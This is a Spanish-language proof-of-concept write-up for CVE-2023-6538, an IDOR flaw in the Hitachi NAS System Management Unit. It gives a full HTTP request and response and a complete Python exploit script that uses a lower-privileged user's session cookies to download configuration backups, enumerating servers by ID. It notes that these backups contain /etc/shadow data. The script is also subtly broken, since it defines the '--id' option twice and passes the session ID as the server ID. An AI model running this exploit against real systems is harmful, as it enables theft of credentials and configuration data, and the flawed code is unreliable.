
Exploit de prueba de concepto para CVE-2023-6538, una vulnerabilidad IDOR en Hitachi NAS System Management Unit que permite a usuarios sin privilegios descargar copias de seguridad de configuración del servidor que contienen datos sensibles.
CVE-2023-6538 es una vulnerabilidad de Referencia Directa a Objetos Insegura (IDOR) encontrada en la funcionalidad de Copia de Seguridad y Restauración de Configuración de la Unidad de Gestión del Sistema (SMU) de Hitachi NAS (HNAS). Esta vulnerabilidad afecta a versiones de SMU anteriores a 14.8.7825.01.
Este exploit requiere que el atacante tenga control sobre las credenciales de una cuenta de usuario que no sea de Solo Lectura o Administrador Global, es decir:
Storage AdministratorServer AdministratorServer + Storage AdministratorPor diseño, los usuarios con el rol de Administrador Global deberían poder acceder a la funcionalidad de Copia de Seguridad y Restauración de Configuración del SMU, ubicada en https://<HOSTNAME/FQDN/IP>/mgr/app/template/simple%2CDownloadConfigScreen.vm?serverid=1 y enviar la siguiente solicitud, que crearía y descargaría la copia de seguridad de la configuración del servidor seleccionado (es decir, un servidor conectado al SMU):
GET /mgr/app/template/simple%2CDownloadConfigScreen.vm?serverid=1 HTTP/1.1
Host: REDACTED
Cookie: JSESSIONID=REDACTED; JSESSIONIDSSO=REDACTED
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Dnt: 1
Referer: https://REDACTED/mgr/app/action/serveradmin.ConfigRestoreAction/eventsubmit_doperform/ignored
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Si la solicitud tiene éxito, el SMU responde con la siguiente respuesta y comienza la descarga de registry_data.tgz:
HTTP/1.1 200
Cache-Control: PRIVATE
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Strict-Transport-Security: max-age=31536000;includeSubDomains
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
P3P: CP="NOI DSP CUR ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Pragma: cache
Content-Disposition: attachment;filename=registry_data.tgz
Content-Type: application/download
Content-Length: 3169247
Date: Fri, 14 Apr 2023 09:30:03 GMT
Connection: close
Server: SMU
[DATA]
Sin embargo, debido a un descuido en la lógica empresarial del SMU, un atacante con acceso a una cuenta de Storage Administrator, Server Administrator o Server + Storage Administrator puede actualizar las cookies JSESSIONID y JSESSIONIDSSO para que coincidan con las cookies del usuario que posee, lo que le permite descargar el archivo de configuración. Además, el atacante también puede actualizar el parámetro serverid en la solicitud para enumerar y descargar el archivo de configuración de diferentes servidores conectados al SMU.
Por lo tanto, un script como CVE-2023-6538.py podría usarse para explotar esta vulnerabilidad:
#!/usr/bin/python3
#
# Title: Hitachi NAS (HNAS) System Management Unit (SMU) Configuration Backup & Restore IDOR Vulnerability
# CVE: CVE-2023-6538
# Date: 2023-12-13
# Exploit Author: Arslan Masood (@arszilla)
# Vendor: https://www.hitachivantara.com/
# Version: < 14.8.7825.01
# Tested On: 13.9.7021.04
import argparse
from os import getcwd
import requests
parser = argparse.ArgumentParser(
description="CVE-2023-6538 PoC",
usage="./CVE-2023-6538.py --host <Hostname/FQDN/IP> --id <JSESSIONID> --sso <JSESSIONIDSSO>"
)
# Create --host argument:
parser.add_argument(
"--host",
required=True,
type=str,
help="Hostname/FQDN/IP Address. Provide the port, if necessary, i.e. 127.0.0.1:8443, example.com:8443"
)
# Create --id argument:
parser.add_argument(
"--id",
required=True,
type=str,
help="JSESSIONID cookie value"
)
# Create --sso argument:
parser.add_argument(
"--sso",
required=True,
type=str,
help="JSESSIONIDSSO cookie value"
)
# Create --id argument:
parser.add_argument(
"--id",
required=True,
type=str,
help="Server ID value"
)
args = parser.parse_args()
def download_file(hostname, jsessionid, jsessionidsso, serverid):
# Set the filename:
filename = "registry_data.tgz"
# Vulnerable SMU URL:
smu_url = f"https://{hostname}/mgr/app/template/simple%2CDownloadConfigScreen.vm?serverid={serverid}"
# GET request cookies
smu_cookies = {
"JSESSIONID": jsessionid,
"JSESSIONIDSSO": jsessionidsso
}
# GET request headers:
smu_headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Dnt": "1",
"Referer": f"https://{hostname}/mgr/app/action/serveradmin.ConfigRestoreAction/eventsubmit_doperform/ignored",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Te": "trailers",
"Connection": "close"
}
# Send the request:
with requests.get(smu_url, headers=smu_headers, cookies=smu_cookies, stream=True, verify=False) as file_download:
with open(filename, 'wb') as backup_archive:
# Write the zip file to the CWD:
backup_archive.write(file_download.content)
print(f"{filename} has been downloaded to {getcwd()}")
if __name__ == "__main__":
download_file(args.host, args.id, args.sso, args.id)
La justificación de la puntuación CVSS v3.1 de 7.6 podría entenderse mejor examinando registry_data.tgz:
$ tree -a
.
├── backup.properties
├── registry5.11.db1
├── registry5.13.db1
├── registry5.14.db1
├── registry5.15.db1
├── registry5.1.db1
├── registry5.2.db1
├── registry5.3.db1
├── registry5.4.db1
├── registry5.5.db1
├── registry5.6.db1
├── registry5.7.db1
├── registry5.8.db1
└── registry5.db1
1 directory, 14 files
El archivo .tgz contiene varios ajustes e información sobre el servidor conectado al SMU:

Como se ve en la imagen censurada anterior, registry5.db1 contiene el contenido de /etc/shadow (que se encontró mediante una expresión regular) del servidor seleccionado.
Esta vulnerabilidad es una 'vulnerabilidad hermana' de CVE-2023-5808.